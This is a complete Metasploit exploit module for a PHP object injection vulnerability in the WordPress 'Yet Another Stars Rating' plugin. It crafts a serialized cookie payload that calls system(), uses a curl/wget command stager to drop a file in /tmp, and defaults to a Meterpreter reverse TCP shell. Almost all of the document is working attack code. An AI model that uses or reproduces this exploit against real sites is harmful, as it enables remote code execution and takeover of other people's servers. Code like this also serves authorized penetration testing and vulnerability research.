WordPress Yet Another Stars Rating PHP Object Injection

`class MetasploitModule < Msf::Exploit::Remote  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress PHP Object Injection in Yet Another Stars Rating plugin < 1.8.7',  
'Description' => %q{  
This module exploits Wordpress PHP Object Injection in Yet Another Stars Rating plugin < 1.8.7.  
The vulnerability is exploitable if there is the Wordpress site uses a 'yasr_visitor_votes'  
shortcode in a page (authenticated or not).   
  
This exploit uses the Requests_Utility_FilteredIterator as WP core class to exploit deserialization.  
The class allows to send an array and a callback in the constructur, and it will be called in every foreach loop.   
As the vulnerable module uses the unserialized cookie for a foreach loop, it is possible to exploit this behaviour   
to exploit the vulnerability.   
Wordpress disable deserialization for Requests_Utility_FilteredIterator in Wordpress >= 5.5.2, so the exploit only   
works for Wordpress versions < 5.5.2.  
  
Tested on:   
- Wordpress 5.4.1,   
- Yet Another Stars rating plugin = 1.8.6  
- php 5.6 (in php7 you should customize the serialization payload to try the exploitation)  
  
  
},  
'Author' =>  
[  
'Paul Dannewitz', # Vulnerability Discovery  
'gx1 <g.per45[at]gmail.com>', # Exploit Developer  
],  
'Platform' => 'linux',  
'Arch' => ARCH_PHP,  
'Targets' => [['WordPress', {}]],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',  
'CMDSTAGER::FLAVOR' => 'curl'  
},  
'CmdStagerFlavor' => ['curl', 'wget'],  
'References' =>  
[  
['URL', 'https://wpscan.com/vulnerability/9207'],   
['URL', 'https://dannewitz.ninja/posts/php-unserialize-object-injection-yet-another-stars-rating-wordpress'],   
['URL', 'https://www.cybersecurity-help.cz/vulnerabilities/17273/'],  
['URL', 'https://cybersecsi.com/study-php-unserialize-object-injection-in-yet-another-stars-rating-plugin-by-using-docker-security-playground/'] # Exploit development explanation  
],  
'License' => MSF_LICENSE  
))  
  
register_options([  
OptString.new('PATH_CONTAINING_YASR_SHORTCODE', [true, 'The path containing yasr_visitor_votes shortcode', '/'] ),  
OptBool.new('REQUIRE_LOGIN', [true, 'If you need login to view tha path containing yasr shortcode', false] ),  
OptString.new('USERNAME', [false, 'The Wordpress username to authenticate with'] ),  
OptString.new('PASSWORD', [false, 'The Wordpress username to authenticate with'] )  
])  
register_advanced_options([  
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])  
])  
end  
def yasr_path  
return datastore['PATH_CONTAINING_YASR_SHORTCODE']  
end  
  
def cmdstager_path  
@cmdstager_path ||=  
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"  
end  
  
def username  
return datastore['USERNAME']  
end  
  
def password  
return datastore['PASSWORD']  
end  
  
def require_login  
return datastore['REQUIRE_LOGIN']  
end  
  
def check  
if not wordpress_and_online?  
print_error("#{target_uri} does not seem to be WordPress site")  
return  
end  
version = wordpress_version  
if not version.nil?  
print_status("#{target_uri} - WordPress Version #{version} detected") if version  
if Gem::Version.new(version) >= Gem::Version.new("5.5.2")  
print_bad("Version higher or equal to 5.5.2")  
return CheckCode::Safe  
end  
  
return check_plugin_version_from_readme('yet-another-stars-rating', '1.8.7')  
end  
return CheckCode::Unknown  
end  
  
def serialized_payload(p)   
return "C%3A33%3A%22Requests_Utility_FilteredIterator%22%3A#{p.length + 63 + p.length.digits.length }%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A#{p.length}%3A%22#{URI.encode_www_form_component(p)}%22%3B%7D%3Bm%3Aa%3A1%3A%7Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A6%3A%22system%22%3B%7D%7D"   
end   
  
def exploit  
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?  
if require_login  
print_status("Authentication required, try to login")  
cookie = wordpress_login(username, password)  
if cookie  
print_status("Login successed")  
else  
fail_with('Authentication failed', "Unable to login")  
end  
else # No login: empty cookie  
cookie = ""  
end  
print_status("Run exploit")   
print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")  
@cmdstager = generate_cmdstager(  
temp: datastore['WritableDir'],  
file: File.basename(cmdstager_path)  
).join(';')  
  
register_file_for_cleanup(cmdstager_path)  
sp = serialized_payload(@cmdstager)  
print_status("Send serialized payload: #{sp}")  
cookie = "#{cookie} yasr_visitor_vote_cookie=#{sp}"  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => yasr_path,  
'cookie' => cookie},   
1)  
end  
  
end  
`